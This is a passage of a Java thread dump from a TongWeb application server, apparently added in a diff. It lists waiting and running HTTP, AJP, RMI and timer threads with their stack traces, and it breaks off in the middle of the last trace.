+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"get-gc-info-timer" #19 daemon [TIMED_WAITING] on java.util.TaskQueue@45d55aa5
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"http-nio-8080-exec-1" #76 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@90c70af
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"persistence" #119 daemon [TIMED_WAITING] on java.util.TaskQueue@6f64b012
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"http-nio-8080-exec-7" #82 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@90c70af
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ajp-bio-8009-exec-2" #103 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cb8e26
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"NioBlockingSelector.BlockPoller-1" #20 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328)
+
+"RMI TCP Accept-7200" #11 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI Scheduler(0)" #16 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@548f2f50
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@59e7d117
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
+ at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188)
+
+"http-nio-8443-exec-5" #93 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13d0670a
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-Acceptor-0" #75 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:791)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-exec-9" #97 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13d0670a
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-exec-10" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38e65fe5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Stateful cache" #44 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3608a8fc
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-ClientPoller-0" #99 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1150)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-exec-2" #90 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13d0670a
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"com.tongweb.tongejb.pool.scheduler.3" #47 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ca67a0f
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ajp-bio-8009-exec-7" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cb8e26
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8080-exec-10" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@90c70af
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI RenewClean-[172.17.0.4:33467]" #17 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@51fe3f64
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-exec-7" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13d0670a
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"com.tongweb.tongejb.pool.scheduler.2" #46 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@36f63325
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RetryTimer" #43 daemon [WAITING] on java.util.TaskQueue@454a324f
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.util.TimerThread.mainLoop(Timer.java:526)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"JMX client heartbeat 2" #123 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.sun.jmx.remote.internal.ClientCommunicatorAdmin$Checker.run(ClientCommunicatorAdmin.java:175)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ajp-bio-8009-exec-5" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cb8e26
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-Acceptor-0" #101 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:791)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8080-exec-6" #81 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@90c70af
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-5" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48317a94
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-ClientPoller-1" #74 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1150)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-exec-4" #92 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13d0670a
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-8" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48317a94
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-exec-8" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38e65fe5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"NioBlockingSelector.BlockPoller-3" #22 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328)
+
+"http-nio-9060-ClientPoller-0" #60 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1150)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-exec-1" #50 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38e65fe5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI TCP Connection(2)-172.17.0.4" #18 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.SocketInputStream.socketRead0(Native Method)
+ at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
